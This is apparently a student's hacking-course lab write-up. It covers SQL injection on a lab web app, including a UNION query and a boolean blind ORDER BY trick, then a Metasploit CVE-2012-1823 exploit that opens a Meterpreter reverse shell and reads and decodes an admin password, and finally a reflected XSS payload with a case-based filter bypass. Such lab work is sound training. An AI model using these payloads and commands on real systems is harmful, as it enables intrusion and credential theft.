' UNION ALL SELECT code,code,code,code,code FROM secret.codes WHERE system='uranus' --
… …
Your search ' UNION ALL SELECT code,code,code,code,code FROM secret.codes WHERE system='uranus' -- returned the following results:
Strange lights in the sky... what were the UFOs?
…
1e50b1a20d3cff0f5d885f84a2fbfd079ca38b14
… …

##9.5 Get the secret code for the system uranus from the database named secret and ##submit as an answer to this task.
#Extra reference video: https://www.youtube.com/watch?v=4LM_EIehbsU
#According to the description in the task requirements, used boolean blind SQL injection.
#Investigated the results.php webpage, and found that whether sorting by date or score can be
#used as a boolean output.
http://10.240.86.15/results.php?order=IF((SELECT/**/code/**/FROM/**/secret.codes/**/WHERE/**/system='uranus')>500,date,score)&direction=ASC
#By using URL like this, when code is greater than the given value, the list will be sorted by
#ascending date(year). Otherwise, when code is equal to or smaller than the given value, the list
#will be sorted by ascending score.
#The threshold point is 731. When the given value is 730, the list is sorted by date. When the given
#value is 731, the list is sorted by score. Thus, code value of system uranus is 731.
http://10.240.86.15/results.php?order=IF((SELECT/**/code/**/FROM/**/secret.codes/**/WHERE/**/system='uranus')>731,date,score)&direction=ASC

###10 FINAL

##10.1 Submit the password of the CMS user account named admin.
#Used three hints in this task.
#Tried remote command injection vulnerability, but did not succeed. Tried alternative approach
#using CVE-2012-1823 via Metasploit console, and got a reverse shell.
root@kali66:~# msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set RHOST 10.240.0.67
msf exploit(php_cgi_arg_injection) > set payload php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection) > set LHOST 10.240.0.166
msf exploit(php_cgi_arg_injection) > exploit -j
… …
[*] Meterpreter session 1 opened (10.240.0.166:4444 -> 10.240.0.67:44054) at 2016-01-15 11:42:51 -0500
… …
msf exploit(php_cgi_arg_injection) > sessions -i 1
#According to the information in hints, located where the password resides.
meterpreter > cat /var/www/data/xml/password.xml
… …
password="dm9vZG9vNDd0cmFpbDJhMzdhZTgwZjU2Y2I3ZGI3ZTA2N2I3NTY4Y2Y0MzU2MDlhN2I3MGZm">
… …
#Copied the Base64 encoded string. Decoded it.

root@kali66:~# base64 -d task10temp
… …
voodoo47trail2a37ae80f56cb7db7e067b7568cf435609a7b70ff
… …
#The salt is set in file /var/www/configs/server.consts.php . Removed the salt and got the answer.

#Additional comment: Before using the second and third hints, I downloaded SkyBlueCanvas 1.1
#and tried to install this software in my apache server. However, the installation failed due to some
#complicated issue that I can not understand. Despite the failure, I searched in the cms folder for a
#while, but can not find clue for password's location. Eventually, it turned out that the password.xml
#file appears only if the installation is successfully completed.
#Before using hints, I really should have done at least some simple tests in msf console's
#reverse_tcp_shell, such like ls /var/www/data/xml.

#====Task completed date 2016-01-16====#

##10.2 Find reflected XSS bugs from USMOSC Internal Web hosted on http://10.240.86.22.
##Submit the name of the vulnerable parameter.
#Used two hints in this task.
#According to the hints, crafted a script for testing. Entered it in input boxes in the web.
"><script>alert('XSS')</script>
#Using Burp proxy, observed the responses from server. Noticed that the response from
#events.php is the only response that is not encoded.

```
… …
<p>
Sorry, but currently there is no information about <b>"></b> in the database.
</p>
… …
```

#Conversely, in the responses from other pages, such as staff.php, articles.php, the HTML special
#characters like "<", ">" in the input I injected have been encoded by the respective HTML entities.

```
… …
<p>Your search <b>&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(&amp;#039;XSS&amp;#039;)&amp;lt;/script&amp;gt;</b> did not return any results</p>
… …
```

#This phenomenon indicates that the events.php may be unprotected. Although events.php did not
#encode my input, it sanitized my input. Modified the input, trying to bypass the filter.
"><sCriPt>alert('XSS')</sCriPt>
#This attempt worked, confirming events.php is vulnerable. Viewed its HTML source, and got the
#parameter name.

```
… …
<form action="events.php" method="get">
  <input type="text" id="search" name="search_events" />
  <br /><br />
</form>
… …
```

#====The rest tasks are not completed====#

##10.3 Describe the full process in the lab report on how you could gain access to the
##Projects area which requires authenticated session.
#Extra reference video: https://www.youtube.com/watch?v=-H1qjiwQldw
#Extra reference video: https://www.youtube.com/watch?v=3tRSJwuDBKg

#I did not manage to bypass the filter, thus the script was not uploaded. Unfortunately, I have #consumed all the free hints.

##10.4 Trigger a CSRF attack in order to gain access to the authenticated area. Develop all ##components and describe all steps that would be required to conduct the attack.

#====Date 2016-01-18====#
#====Conclusion====#

I have opened my mind and gained a lot of useful knowledge in this course.

Many thanks for this amazing hacking journey!